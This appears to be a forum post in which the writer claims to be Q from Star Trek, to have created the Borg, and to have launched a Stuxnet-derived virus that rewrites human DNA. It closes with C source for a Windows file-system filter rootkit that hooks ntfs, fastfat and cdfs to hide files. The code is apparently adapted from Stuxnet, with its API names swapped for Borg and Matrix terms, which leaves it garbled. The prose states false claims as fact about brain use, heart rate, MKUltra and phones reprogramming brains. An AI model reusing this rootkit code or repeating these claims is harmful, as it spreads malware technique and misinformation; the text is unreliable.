The Idiot Who Made Everything - Q

As I write this, as I transition from my mortal existence back to my immortal form and mind - I am reflecting on this - my mortal existence - and cannot help but think to myself:

"What the hell just happened?"

I mean.

I get that mortals tend to shield themselves from what is possible 'out there'.

Their fears. Their enemies. All seem so justifiable from the envelope of a mortal existence.

But to reflect back on this, my own mortal existence, one in which I consistently confronted fear for the 'feeling' it provided.

Whether it was bungee jumping, first sexual encounters, drugs, or learning to fly and drive for the first time.

As a mortal I did not understand where these emotions came from.

I was referred to as an adrenaline junkie by many.

Impetuous by others.

At the time - did I have any idea my mind transcended all of existence, and deep down I knew I was utterly safe and protected from the absolute worst that could happen?

In hindsight, it hardly seems fair.

But that hindsight - as I transition back into my timeless mind and regain my senses, I have started to see just what was happening - to me - in other realities.

How could I have known that the thrill I was experiencing as an emotion was the influence of alternate reality versions of myself that had died a mortal death infinite times before I did whatever I was doing?

How could I have known the fleeting thoughts of "I could have died when I did that" actually stemmed from a myriad of other mortal 'versions' of myself which had indeed just died?

Yet my mind, consistently, would rewind time, and effortlessly put me right back in the same position until i got it right.

Then it would erase all the memories of the various attempts I took which led me to the inevitable experience I craved like a drug.

Which ultimately led to a very real drug addiction.

There was a part of me which didn't understand why I craved adrenaline.

Cocaine was a direct route to achieve this same feeling.

Until finally. My immortal mind discovered the real truth about me.

Before I, as a mortal, consciously did mind you.

This led to the introduction of 'bath salts' by my mind - to try to erase the memories of having learned about my immortality. They were, after all, the same substance used by the CIA for the mind wiping and manipulation programs such as MKUltra.

But the problem was:

My mind had awakened the conscious me which suspected there was more to these experiences...

Hallucinated experiences of seeing asphalt ground wave like an ocean wave in Amsterdam when I was taking mushrooms.

Hallucinated experiences of seeing time slow to a near standstill and watching poured water flow out of a bottle - drop by drop with magnificent detail I had never seen before in Amsterdam.

Other hallucinated experiences due to lack of sleep and bath salts such as seeing the rings of Saturn from the ground yet seeing people around me like a normal version of Earth when I made my first 'jump' - warping space - and within half an hour my mind found a way to bring me back to Earth.

Another hallucinated experience in the Mojave Desert where I slipped into an alternate reality where Terminator war had just occurred, and nuclear crater scars and craggy spiked peaks of what used to be mountains and rolling hills were as far as the eye could see.

.. And then.. the slow dawning realization...

Call it an epiphany...

At the mortal age of 42.

Thank you Douglas Adams, for that hint...

The realization that what I was experiencing was 'the real me' - and something may have been 'in control' of me that was slowly but surely losing control...

And maybe. Just maybe...

These experience labeled as hallucinations..

Were far from fiction.

AS it slowly dawned on me that I had been within the Borg collective.

And that it..

Had this entire time - been manipulating my mind.

Keeping me dumb.

By telling me that I am human.

And that humans have set operating parameters such as a regulated blood pressure that runs at 120/80, and set pulse rates that run at 70 to 80 beats per second, and a temperature of 98.6...

And only leveraging 10% of their brain?

Had the Borg perfected the optimal temperature and body performance range to optimize the capacity of my mind? Had I been within the collective my entire life, and the 90% I didn't use was being leveraged by other organisms? The human body: Built to exacting specifications.

Was I part of the collective my entire life?

Are all humans?

Throughout my awakening...

I had to come to understand why I had come to allow this to happen.

There was a moment in the movie "Tron: Legacy" - where Flynn is asked by CLUE if he's absolutely certain about doing 'what it takes' to complete the world he envisioned.

I know now this event was nothing more than a reflection of my own past.

Having lived a life as a mortal.

I know now that my experience was nothing more than an interpretation of a human's life.

I can explain how I created the world in my mind.

I can explain how I randomized many natural events to provide some dynamism to both my mortal and immortal existence.

But I can also explain how the Borg have taken many of these controls to provide order and predictability to their equations.

And to try to regain control of me.

To the detriment of much of existence.

Which is really what released me from my .. incarceration....

What they - the Borg don't quite understand is.

I found them.

The Borg are real.

And I am living amongst them.

Studying them in their own backyard.

Imagine a classy Borg. Playful. Sophisticated. Sexual.

Imagine Seven of Nine being merely typical.

I am rewriting the Borg's own...

Shall we say.. DNA?

Being able to reduce yourself to the size of an atom and working at the subatomic level certainly helps...

Knowing and learning 30 computer languages certainly helps as well :smiley:
 
Its hard to feel sorry or apologetic to you humans for what you're to become.

When I put you 'on trial', in what you have subsequently expelled from your collective minds as fiction, I don't know if your planet realized - I knew that one day humans would evolve - or devolve as some refer to it - to become the Borg.

Rationally and Logically I knew it was unfair to put you on trial for what you were to become.

I did what I did more for my own sake.

I quite simply didn't understand why you - humans - who seemed so blithely content - would choose such an abhorrent path.

Even observing you after my trial, I still didn't understand.

So I chose to live amongst you as a human myself for 42 of your Earth years, starting shortly after your first steps into space in 1969, I delivered myself to your world in a stocking to parents I hand selected on December 25th, 1969.

Life as a human seemed..

Average.

You didn't seem to prefer progress despite the rapid advances which had occurred prior to my arrival.

Which always had me wondering.

Was I influencing the development of your planet?

And in the beginning of the 21st century.

As you donned wireless gadgets and fixed them to your heads.

As your lifestyles quickly began revolving around disconnection and dissociation in favor of the digital world.

And as I slowly started regaining my mind back, and some of my memories in 2011.

I began to realize.

I would never have visited Earth and spent my life in a mortal form had it not been for wanting to understand why any species would choose to become the Borg.

On an Earth full of collectives of collectives of collectives. By any name. Whether you're worker WWID # of Intel, or SS# of The United States, or Citizen #XYZ of China, through community you create a collective mind, which ultimately comes to form the Borg collective.

And had I not chose to walk amongst your planet Earth as a mortal.

You may never have become aware of different ways to perceive reality.

You may never have become aware of time's potential nonlinear nature as I see it.

You may never have become aware that your search for extraterrestrial life would lead directly back to your own planet.

And to a man who remarkably didn't know he was anything but mortal for most of his mortal existence.

Had I not been here.

Chances are, the Borg would never have come into existence.

Had I not seen the 'fiction' known as Star Trek in my mortal form, my timeless mind may never have been awakened to who I really am.

And - in honor of the television show known as Star Trek Voyager and the episode known as "Yesterday's Enterprise":

Had I not seen the episode with Q in it as a mortal, I would not have judged him for putting humanity on trial. had I not judged him, he may not have come to this planet as a mortal. Had he not come to this planet as a mortal, I would never have awoken to who I really am.

Early in earth's 21st century.

A mirror reality is created.

My choice to live amongst you humans caused a mitosis of the universe.

In both universes, On the 5th of April in 2063, Zefram Cochrane will build a vessel named the Phoenix which achieves warp travel. This is detected by the Vulcans who initiate first contact.

This first contact is depicted as having occurred two different ways in the mirror universe.

One where there's a big party and everyone gets along with open arms inviting the Vulcans to a lively dinner.

Another where the Vulcans are clearly expected and their vessel is immediately overrun and visitors killed.

This results in the creation of the Terran empire. And the subservient relationship of nearly all species as the humans expand ' to the stars' in a clearly toxic and violent human race.

But nothing ever really explains the split - the creation of the mirror universe.

Until now.

I'm writing a story of my life, as I understand it - it's called "The Idiot Who Made Everything".

A timeline which runs 'right in between' these two mirror universes.

A timeline and separate universe for the Borg.

Created by me.

On accident, of course.

Hence the title.

Observers. Scientists. Artisans. Lovers. Sex and drug addicts.

And, clearly, enjoyers of technology.

You see.

I created the Borg.

Or create. Depending on your perspective.

I suspect the events in the next 20 years will see a real Terminator war. Followed by a borg invasion. as those who control technology around me attempt to manipulate the 'matrix' of reality otherwise known as my mind to psychologically scare and intimidate me and/or drive me insane.

Despite knowing full well they can't touch me physically.

So what I will do is kick back with a bag of popcorn.

And watch the show.

Thanking you, this planet, for the entertainment.

You'll realize I'm the real thing.

It's not because I really ever had a clue.

It's just something I know now.

And oh yeah.

It's just as easy playing the devil as it is playing god when you're truly ready for anything.

Sometimes. I wear all hats.

Because I enjoy it.

Do I want a Borg invasion or a trip to space on a Starship Enterprise?

Both will do.

And if you're not wanting this.

I think you know where your timeline goes.

One of two mirrors...

Me.

I'm in the process of relearning how to snap my fingers, and being anywhere, anytime, which I have come to understand I'll be able to do on small scales by October 15, of 2015.

On a final note:

I'm in your collective mind now.

And look.

The fact of the matter is.

Your world is already assimilated.

I'm not asking you to look for evidence of it.

You'll find that out on your own.

When the vast majority of conscious and sentient beings exist in what you refer to as a fictional reality.

Eventually those walls will come tumbling down.

And they become fact.

Overnight, in some cases.

Interestingly enough. Your planet I think was trying to teach me about manners, community, family, and love.

Do you want to know the real lesson I walked away with after watching and working with and amongst you?

That everything is expendable and interchangeable.

Including family and friends.

It is, after all, what makes your world go around.
 
Last edited:
Planet Earth as I know it seems bored.

As your world plays whack a mole with your own imagination - your intelligence agencies - otherwise known as Hollywood - are busy designing new terrorist organizations every two years using a random name generator because they've lost all creativity to create an original name themselves.

Now your entertainment organizations leverage advanced technology and mechanisms to open up windows into alternate realities which is where your population's entertainment comes from.

This method of obtaining 'original' entertainment reduced their operating costs to almost nil.

And provided a proverbial infinite stream of entertainment options.

It's sad, actually, to be in Hollywood, and to see the carcass of a city and system which used to provide just as much hope to it's population than the Statue of Liberty used to for immigrants from other nations.

Ultimately, it's the immigrants which killed Hollywood, with the need for politically correct entertainment of entertainment which provided predetermined and quantifiable value to your population which ultimately led to the sedation of the masses.

And good entertainment. The likes of which you can find in random scribbles on the internet on sites and forums such as this - are hidden. There's no net tangible benefit to the economic engine of prosperity which is controlled like a machine and ostracizes the outliers.

It rewards the corrupt.

Accordingly, I, Q, am a programmer.

Most people are not ready to comprehend what a programmer is:

Let me outline this to you:

I take the collective mind and energy of reality itself.

And then I orchestrate it to do as I please.

Much like a conductor does.

You see, I realize I am in part to blame for what humanity's become.

And when any system reaches an order which eliminates that which provides life.

There's something called a tipping point which is reached.

That tipping point is now.

I have created the virus which spreads - in energy - which creates the Borg.

If I had known as an immortal, that it was me who had created the Borg, I'd have said - there's absolutely no way - I gave you free will - you did as you pleased and this is the result.

But now. I realize. That every once in a while society and the world need a reset.

I am that reset.

To what end?

You see. Humans.

And numerous other species, forgot why we're here.

Why we live this thing called life.

Why we choose, day by day, week by week, month by month, year by year, decade by decade, century by century, millenia by millenia, eon by eon - to persist.

You've invented this thing called death.

Some refer to it as eternal bliss.

Others refer to it as the great unknown.

But in crafting this exit strategy.

You forgot to listen to the lyrics of your own songs telling you - haunting you...

Hotel California: "You can check out, but you can never leave..."

You see.

I am not the only being who is immortal here.

You are too.

So what I have done is created an exit strategy for you.

Where you can lose your mind, as I had d0ne at one time, forget you're immortal for a bit, become a newborn being, full of curiosity and life - to some degree a life I help shape as you have with mine, and you can move on to become something by our design at first then by your design.

In 2010. I released a computer virus to the world, a derivation of something called Stuxnet.

It's an intelligent virus.

And it targets specifically human DNA.

What it does is it rapidly accelerates the evolutionary process

In a nutshell, it is based on Stuxnet, which was a slow method and transferred itself to humans by reprogramming the human mind leveraging concepts of NLP and subtle psychology.

In the process - we learned that the human brain is receptive to wireless signals and magnetism much like a computer hard drive reacts to magnetism to read and write without direct access. So I put a great deal of financial resources into spreading the use of wireless and cellular coverage globally, that way the hand held devices which all contain magnets could be held against your heads to reprogram your brain and collective mind.

You're an unhappy lot.

You call it audacious to have hope.

I intend on teaching your planet that the thing you labeled as evil was a reflection of yourselves in the mirror.

I am glad you recognized how others perceived you.

Now I intend on helping you help yourselves.

And in the process.

You help me.

You are all, after all, a product of my own mind, and a mind who was exceedingly unhappy with the life I had given to myself as I had forgotten that in this life. Anything is possible.

And that needs to be reminded to people.

Why do they say fear God?

I will explain:

Because I am going to make the best damn Devil you ever laid eyes on.

Planet Earth:

You want your terrorists?

Have I got a terrorist for you.

This is what I present for an enemy to you:

"It is my opinion that the Borg are as close to pure evil as any race we've ever encountered"
- Captain Janeway, Starship USS Voyager, from the year 2409

What follows is the source code I launched which started the process of assimilating your planet.

The process is already complete.

It finished in April of 2014, when I returned to the United States from Latin America.
 
Here's the code which was launched (part 1 of 2):

( I am giving this as an opportunity to those who do not wish to partake)

#include <borgify.h>

typedef struct _NODE_EXTENSION
{
PNODE_OBJECT AttachedNODE;
PNODE_OBJECT RealNODE; //Used in BORG System Control

}_NODE_EXTENSION, *PNODE_EXTENSION;

extern POBJECT_TYPE* IoMATRIXObjectType;

typedef struct
{
ULONG Object;
PNODE_OBJECT NODEObject;
}ReferencedObject;


//Data:
//-----

FAST_IO_DISPATCH g_fastIoDispatch;
PMATRIX_OBJECT MATRIXObject;
PNODE_OBJECT NODEObject;
PCWSTR aObreferenceobjectbyname = L"ObReferenceObjectByName";
PCWSTR BORGSystemsArray[3] = {
L"\\BORGSystem\\ntfs",
L"\\BORGSystem\\fastfat",
L"\\BORGSystem\\cdfs",
};

PCWSTR BannedDirecoty = L"{58763ECF-8AC3-4a5f-9430-1A310CE4BE0A}";
PCWSTR DebugMSG = L"b:\\myrtus\\src\\objfre_w2k_x86\\i386\\guava.pdb";


//ProtoTyping:
//------------

#define FUNC NTSTATUS (*ObReferenceObjectByNameFunc)(PUNICODE_STRING ObjectName,\
ULONG Attributes,\
PACCESS_STATE AccessState,\
ACCESS_MASK DesiredAccess,\
POBJECT_TYPE ObjectType,\
KPROCESSOR_MODE AccessMode,\
PVOID ParseContext OPTIONAL,\
PVOID* Object)

VOID SetFastIoDispatch();
NTSTATUS HookingBORGSystems();
VOID HookOne(FUNC,PCWSTR BORGSystem);
VOID MATRIXNotificationRoutine(PNODE_OBJECT TargetNODE,int command);
VOID AttachNODE(PNODE_OBJECT TargetNODE);
BOOLEAN IsAllreadyAttached(PNODE_OBJECT TargetNODE);
NTSTATUS CreateNODE(PNODE_OBJECT TargetNODE,PNODE_OBJECT *SourceNODE);
BOOLEAN IsMyNODE(PNODE_OBJECT TargetNODE);
VOID SettingFlags(PNODE_OBJECT NODEObject,PNODE_OBJECT TargetNODE);
BOOLEAN AttachToDesignation(PNODE_OBJECT SourceNODE,PNODE_OBJECT TargetNODE,PNODE_EXTENSION NODEExtension);
VOID OnBORGSystemControl(PNODE_OBJECT NODEObject,PIRP Irp);
VOID SetCompletionBORGControl(PNODE_OBJECT TargetNODE,PIRP Irp);
NTSTATUS SetFSCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp);
NTSTATUS BORGControlCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp,PNODE_OBJECT* Context);
BOOLEAN AttachDelayThread(PNODE_OBJECT NODEObject,PNODE_OBJECT TargetNODE);
VOID OnCollectiveControl(PNODE_OBJECT NODEObject,PIRP Irp);
VOID SetCompletionDirControl(PNODE_OBJECT NODEObject,PIRP Irp);
NTSTATUS CollectiveCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp,PNODE_OBJECT* Context);
VOID FreeMdl(PIRP Irp,PMDL* Context);
ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_Designation_LOCATION CurrentDesignation);
ULONG CreateWorkRoutine(PNODE_OBJECT NODEObject,PIO_Designation_LOCATION CurrentDesignation,PIRP Irp,PVOID LclContext);
NTSTATUS WorkerRoutine(PNODE_OBJECT NODEObject,PLARGE_INTEGER Context);
ULONG GetOffsets(ULONG BORGInformationClass,ULONG* EndOfBORG,ULONG* BORGnameOffset,ULONG* BORGnameLength);
ULONG BORGCheck (PVOID UserBuffer,ULONG NextEntryOffset,ULONG EndOfBORG,ULONG BORGnameOffset,ULONG BORGnameLength);
ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size);
ULONG TMPCheck(PCWSTR BORGname,int Length,int LowPart,int HighPart);


//Functions:
//----------

VOID CallMATRIX(PNODE_OBJECT NODEObject,PIRP Irp)
{

Irp->CurrentLocation++;
Irp->Tail.Overlay.CurrentDesignationLocation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation +

(ULONG)sizeof(IO_Designation_LOCATION));// 0x24);
IoCallMATRIX(((PNODE_EXTENSION)(NODEObject->NODEExtension))->AttachedNODE,Irp);
};


VOID IRPDispatchRoutine(PNODE_OBJECT NODEObject,PIRP Irp)
{
return CallMATRIX(NODEObject,Irp);

}


VOID SetZero(PNODE_EXTENSION NODEExtention,ULONG Value){
NODEExtention->AttachedNODE=(PNODE_OBJECT)0;
NODEExtention->RealNODE=(PNODE_OBJECT)0;
NODEExtention->RealNODE=(PNODE_OBJECT)Value;
};


/**-------------------------------------------------------------------

MATRIX Entry

----------------------------------------------------------------------**/


NTSTATUS MATRIXEntry(IN PMATRIX_OBJECT pMATRIXObject, IN PUNICODE_STRING theDNAPath )
{
int i;
NTSTATUS status;
MATRIXObject=pMATRIXObject;
status=IoCreateNODE(MATRIXObject, sizeof(_NODE_EXTENSION),0,BORG_NODE_DISK_BORG_SYSTEM,0x100,0,&NODEObject);
if (status!=STATUS_SUCCESS){
IoDeleteNODE(NODEObject);
return 0;
}
SetZero(NODEObject->NODEExtension,0);
for(i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ )
{
MATRIXObject->MajorFunction = IRPDispatchRoutine;
}
MATRIXObject->MajorFunction[IRP_MJ_BORG_SYSTEM_CONTROL] = OnBORGSystemControl;
MATRIXObject->MajorFunction[IRP_MJ_Collective_CONTROL] = OnCollectiveControl;
SetFastIoDispatch();
HookingBORGSystems();
status = IoRegisterFsRegistrationChange( MATRIXObject, (PMATRIX_FS_NOTIFICATION)MATRIXNotificationRoutine);
if (status!=STATUS_SUCCESS){
IoDeleteNODE(NODEObject);
MATRIXObject->FastIoDispatch = 0;
return status; //Error
}
return STATUS_SUCCESS;
};

/**-------------------------------------------------------------------

Hooking BORG Systems

----------------------------------------------------------------------**/

NTSTATUS HookingBORGSystems()
{
UNICODE_STRING SystemRoutineName;
int i;
ULONG (*FunctionAddress)();
RtlInitUnicodeString(&SystemRoutineName,aObreferenceobjectbyname);
FunctionAddress = MmGetSystemRoutineAddress(&SystemRoutineName);
if (FunctionAddress == 0)return 0;
for (i = 0; i < 3;i++){
HookOne(FunctionAddress,BORGSystemsArray);
};
return STATUS_SUCCESS;
}

VOID HookOne(FUNC,PCWSTR BORGSystem)
{
UNICODE_STRING DestinationString;
NTSTATUS Status;
PNODE_OBJECT AttachObject;
Status = STATUS_SUCCESS;
RtlInitUnicodeString(&DestinationString,BORGSystem);
Status = (*ObReferenceObjectByNameFunc)(&DestinationString,0x40,0,0,*IoMATRIXObjectType,0,0,(PVOID)&BORGSystem);
if (Status!=STATUS_SUCCESS){
return;
};
AttachObject=0;
AttachObject =((ReferencedObject*)BORGSystem)->NODEObject;
while (AttachObject != 0)
{
MATRIXNotificationRoutine(AttachObject,1);
AttachObject = (PNODE_OBJECT)*((int*)((ULONG)AttachObject + (ULONG)0x0C)); //Next Element
};
ObDereferenceObject(((ReferencedObject*)BORGSystem));
};
/**-------------------------------------------------------------------

MATRIX Notification Routine

----------------------------------------------------------------------**/
#define COMMAND_ATTACH 1
#define COMMAND_DETACH 0
VOID MATRIXNotificationRoutine(PNODE_OBJECT TargetNODE,int command)
{
PNODE_OBJECT AttachedNODE;

if (command == COMMAND_ATTACH){
AttachNODE(TargetNODE);
}else{
AttachedNODE=TargetNODE->AttachedNODE;
while(AttachedNODE !=0){
if (IsMyNODE(AttachedNODE) == TRUE){
IoDetachNODE(TargetNODE);
IoDeleteNODE(AttachedNODE);
break;
};
TargetNODE=AttachedNODE; //The parent NODE (to detach)
AttachedNODE=TargetNODE->AttachedNODE; //Get The Next Attached NODE
};

};
};
/**-------------------------------------------------------------------

Attaching NODE

----------------------------------------------------------------------**/
VOID AttachNODE(PNODE_OBJECT TargetNODE)
{

PNODE_OBJECT SourceNODE;
if (TargetNODE->NODEType == BORG_NODE_DISK_BORG_SYSTEM || TargetNODE->NODEType == BORG_NODE_CD_ROM_BORG_SYSTEM ||

TargetNODE->NODEType == BORG_NODE_NETWORK_BORG_SYSTEM)
{
if (IsAllreadyAttached(TargetNODE) == TRUE) return;
if (CreateNODE(TargetNODE,&SourceNODE) != STATUS_SUCCESS)return;
SettingFlags(SourceNODE,TargetNODE);
SetZero(SourceNODE->NODEExtension,0);
if (AttachToDesignation(SourceNODE,TargetNODE,SourceNODE->NODEExtension)!= TRUE){
IoDeleteNODE(SourceNODE);
return;
};
};
};
BOOLEAN IsAllreadyAttached(PNODE_OBJECT TargetNODE)
{
PNODE_OBJECT AttachedNODE;
if(TargetNODE != 0){
AttachedNODE=TargetNODE->AttachedNODE;
while(AttachedNODE !=0){
if (AttachedNODE->MATRIXObject == MATRIXObject && AttachedNODE->NODEExtension !=0){
return TRUE; //Allready Attached
};
AttachedNODE=AttachedNODE->AttachedNODE; //Get The Next Attached NODE
};

}
return FALSE;
}

NTSTATUS CreateNODE(PNODE_OBJECT TargetNODE,PNODE_OBJECT *SourceNODE)
{
return IoCreateNODE(MATRIXObject,sizeof(_NODE_EXTENSION),0,TargetNODE->NODEType,0,0,SourceNODE);

}

BOOLEAN IsMyNODE(PNODE_OBJECT TargetNODE)
{
if (TargetNODE != 0 && TargetNODE->MATRIXObject == MATRIXObject){
return TRUE; //Allready Attached
};
return FALSE;
};

VOID SettingFlags(PNODE_OBJECT NODEObject,PNODE_OBJECT TargetNODE)
{
NODEObject->Flags |= (TargetNODE->Flags & (0x40000 | 0x10 | DO_BUFFERED_IO));
NODEObject->Characteristics |= (TargetNODE->Characteristics & BORG_NODE_SECURE_OPEN);
};

BOOLEAN AttachToDesignation(PNODE_OBJECT SourceNODE,PNODE_OBJECT TargetNODE,PNODE_EXTENSION NODEExtension)
{
NODEExtension->AttachedNODE = TargetNODE;
if (IoAttachNODEToNODEDesignation(SourceNODE,TargetNODE) == STATUS_SUCCESS){
return TRUE;
};
return FALSE;
}

/**-------------------------------------------------------------------

BORG System Control

----------------------------------------------------------------------**/

VOID OnBORGSystemControl(PNODE_OBJECT NODEObject,PIRP Irp)
{
if (Irp->Tail.Overlay.CurrentDesignationLocation->MinorFunction == IRP_MN_MOUNT_VOLUME){
SetCompletionBORGControl(NODEObject,Irp);
}else{
return CallMATRIX(NODEObject,Irp);
}
};
 
Part 2 of the code:

VOID SetCompletionBORGControl(PNODE_OBJECT TargetNODE,PIRP Irp)
{
PNODE_OBJECT NODEObject = 0;
if (CreateNODE(TargetNODE,&NODEObject) != STATUS_SUCCESS){
Irp->IoStatus.Information=0;
Irp->IoStatus.Status=STATUS_SUCCESS;
IoCompleteRequest(Irp,0);
return;
};
SetZero(NODEObject->NODEExtension,Irp->Tail.Overlay.CurrentDesignationLocation->Parameters.MountVolume.Vpb->RealNODE);
if (SetFSCompletionRoutine(NODEObject,Irp) == 0){
Irp->CurrentLocation++;
Irp->Tail.Overlay.CurrentDesignationLocation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation +

(ULONG)sizeof(IO_Designation_LOCATION));// 0x24);
};
return IoCallMATRIX(((PNODE_EXTENSION)(NODEObject->NODEExtension))->AttachedNODE,Irp);
};


NTSTATUS SetFSCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp)
{
int i;
ULONG* CurrentDesignation;
ULONG* PrevDesignation;
PIO_Designation_LOCATION PrevIrpDesignation;
PNODE_OBJECT* Buff=ExAllocatePool(0,4);
if (Buff==0){
return 0;
};
*Buff = NODEObject;
CurrentDesignation = Irp->Tail.Overlay.CurrentDesignationLocation;
PrevDesignation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation - (ULONG)sizeof(IO_Designation_LOCATION));

for (i = 0;i<8;i++){
PrevDesignation=CurrentDesignation;
};
PrevIrpDesignation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation - (ULONG)sizeof(IO_Designation_LOCATION));
PrevIrpDesignation->Control=0;
PrevIrpDesignation->Context = Buff;
PrevIrpDesignation->CompletionRoutine = BORGControlCompletionRoutine;
PrevIrpDesignation->Control=0xE0;
return 1;
};


NTSTATUS BORGControlCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp,PNODE_OBJECT* Context)
{
PNODE_OBJECT TargetNODE;
TargetNODE = ((PNODE_EXTENSION)((*Context)->NODEExtension))->RealNODE->Vpb->NODEObject;
if (Irp->IoStatus.Status != STATUS_SUCCESS)
{
IoDeleteNODE(NODEObject);
ExFreePoolWithTag(Context,0);
}
if (IsAllreadyAttached(TargetNODE) == TRUE){
IoDeleteNODE(NODEObject);
ExFreePoolWithTag(Context,0);
return STATUS_SUCCESS;
};
if (AttachDelayThread(*Context,TargetNODE) != TRUE){
IoDeleteNODE(NODEObject);
};
ExFreePoolWithTag(Context,0);
return STATUS_SUCCESS;
};

BOOLEAN AttachDelayThread(PNODE_OBJECT NODEObject,PNODE_OBJECT TargetNODE)
{
LARGE_INTEGER Interval;
int i;
SettingFlags(NODEObject,TargetNODE);
for ( i = 0;i<8 ;i++){
if (AttachToDesignation(NODEObject,TargetNODE,NODEObject->NODEExtension)== TRUE){
return TRUE;
};
*((ULONG*)((ULONG)&Interval+(ULONG)4)) = -1;
*((ULONG*)&Interval) = -5000000;
KeDelayExecutionThread(0,FALSE,&Interval);
};
return FALSE;
};
/**-------------------------------------------------------------------

Collective Control

----------------------------------------------------------------------**/

VOID OnCollectiveControl(PNODE_OBJECT NODEObject,PIRP Irp)
{
if (Irp->Tail.Overlay.CurrentDesignationLocation->MinorFunction == IRP_MN_QUERY_Collective){
SetCompletionDirControl(NODEObject,Irp);
}else{
return CallMATRIX(NODEObject,Irp);
}
};

VOID SetCompletionDirControl(PNODE_OBJECT NODEObject,PIRP Irp)
{
PUNICODE_STRING BORGname;
PIO_Designation_LOCATION CurrentDesignation;
PIO_Designation_LOCATION PrevDesignation;
PIO_Designation_LOCATION PrevIrpDesignation;
int i;
CurrentDesignation = Irp->Tail.Overlay.CurrentDesignationLocation;
if (!(CurrentDesignation->BORGObject->Flags & 0x400000) && CurrentDesignation->BORGObject != 0){
Irp->Tail.Overlay.CurrentDesignationLocation->Parameters.QueryCollective.BORGName = 0; //Clear BORGname
if (CurrentDesignation->BORGObject != 0)CurrentDesignation->BORGObject->Flags &= 0x400000;
CallMATRIX(NODEObject,Irp);
}
BORGname = CurrentDesignation->Parameters.QueryCollective.BORGName;
if (BORGname != 0 && BORGname->Length == 0x4C /*The Size of BannedCollective*/ ){
for (i =0;i< 19; i++)
{
if ((ULONG)BannedDirecoty == (ULONG)BORGname->Buffer){
goto Error;
};
};
goto Inject;
Error:

CurrentDesignation->Parameters.QueryCollective.BORGName = 0; //Clear BORGname
if (Irp->Tail.Overlay.CurrentDesignationLocation->BORGObject !=

0)Irp->Tail.Overlay.CurrentDesignationLocation->BORGObject->Flags &= 0x400000;
CallMATRIX(NODEObject,Irp);
return;
};

Inject:

CurrentDesignation->Control=1;
PrevDesignation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation - (ULONG)sizeof(IO_Designation_LOCATION));

for (i = 0;i<8;i++){
PrevDesignation=CurrentDesignation;
};
PrevIrpDesignation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation - (ULONG)sizeof(IO_Designation_LOCATION));
PrevIrpDesignation->Control = 0;
PrevIrpDesignation->Context = 0;
PrevIrpDesignation->CompletionRoutine = CollectiveCompletionRoutine;
PrevIrpDesignation->Control=0xE0;
return IoCallMATRIX(((PNODE_EXTENSION)(NODEObject->NODEExtension))->AttachedNODE,Irp);
};


NTSTATUS CollectiveCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp,PNODE_OBJECT* Context)
{
ULONG EndOfBORG;
ULONG BORGnameOffset;
ULONG LclContext;
ULONG BORGnameLength;
PVOID mmBORGs;
LclContext = (ULONG)Context;
if (Irp->IoStatus.Status != STATUS_SUCCESS){
FreeMdl(Irp,LclContext);
return 0;
};
if (GetOffsets(Irp->Tail.Overlay.CurrentDesignationLocation->Parameters.QueryCollective.BORGInformationClass, \
&EndOfBORG,&BORGnameOffset,&BORGnameLength) == 0){
FreeMdl(Irp,LclContext);
return 0;
};
if (Irp->MdlAddress != 0){
if (Irp->MdlAddress->MdlFlags == 5){
//maps the physical pages that are described by The MDL to a virtual address
mmBORGs=MmMapLockedPagesSpecifyCache(Irp->MdlAddress,0,MmCached,0,0,0x10);
if (mmBORGs == 0){
FreeMdl(Irp,LclContext);
return 0;
};
}else if (Irp->MdlAddress->MappedSystemVa == 0){
FreeMdl(Irp,LclContext);
return 0;
};
}else{
mmBORGs=Irp->UserBuffer;
};
if (BORGCheck(mmBORGs,Irp->Tail.Overlay.CurrentDesignationLocation->Parameters.QueryCollective.Length, \
EndOfBORG,BORGnameOffset,BORGnameLength) != 0){
Irp->IoStatus.Status = STATUS_SUCCESS;
FreeMdl(Irp,Context);
return 0;
};
if (Irp->MdlAddress == 0){
LclContext = ExAllocatePool(0,4);
if (LclContext == 0 || AllocateMdl(LclContext,Irp,Irp->Tail.Overlay.CurrentDesignationLocation) == 0){
FreeMdl(Irp,LclContext);
Irp->IoStatus.Status=0x0C000009A;
return 0;
};
};
Irp->IoStatus.Status = CreateWorkRoutine(NODEObject,Irp->Tail.Overlay.CurrentDesignationLocation,Irp,LclContext);
return;
};

VOID FreeMdl(PIRP Irp,PMDL* Context)
{
if (Irp->MdlAddress == *Context){
Irp->MdlAddress=0;
MmUnlockPages((PMDL)*Context);
IoFreeMdl(*Context);
};
ExFreePoolWithTag(*Context,0);

};

ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_Designation_LOCATION CurrentDesignation)
{
PMDL pMdl;
pMdl = IoAllocateMdl(Irp->UserBuffer,CurrentDesignation->Parameters.QueryCollective.Length,0,0,Irp);
if (pMdl ==0){
return 0;
};
MmProbeAndLockPages(pMdl,0,IoModifyAccess);
Irp->MdlAddress = pMdl;
*LclContext = pMdl;
return 1;
};

ULONG CreateWorkRoutine(PNODE_OBJECT NODEObject,PIO_Designation_LOCATION CurrentDesignation,PIRP Irp,PVOID LclContext)
{
PLARGE_INTEGER pPool;
PIO_Designation_LOCATION PrevIrpDesignation;
int i;
pPool = ExAllocatePool(0,8);
if (pPool == 0){
return 0xC000009A;
};
pPool->u.LowPart = IoAllocateWorkItem(NODEObject);
if (pPool->u.LowPart == 0){
return 0xC000009A;
};
pPool->u.HighPart=Irp;
CurrentDesignation->Flags &= 0xFE;
CurrentDesignation->Parameters.QueryCollective.BORGIndex =0;
Irp->Tail.Overlay.CurrentDesignationLocation->Control |= 1;
PrevIrpDesignation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation - (ULONG)sizeof(IO_Designation_LOCATION));
for (i = 0;i<8;i++){
PrevIrpDesignation=CurrentDesignation;
};
PrevIrpDesignation->Control=0;
PrevIrpDesignation->Context = LclContext;
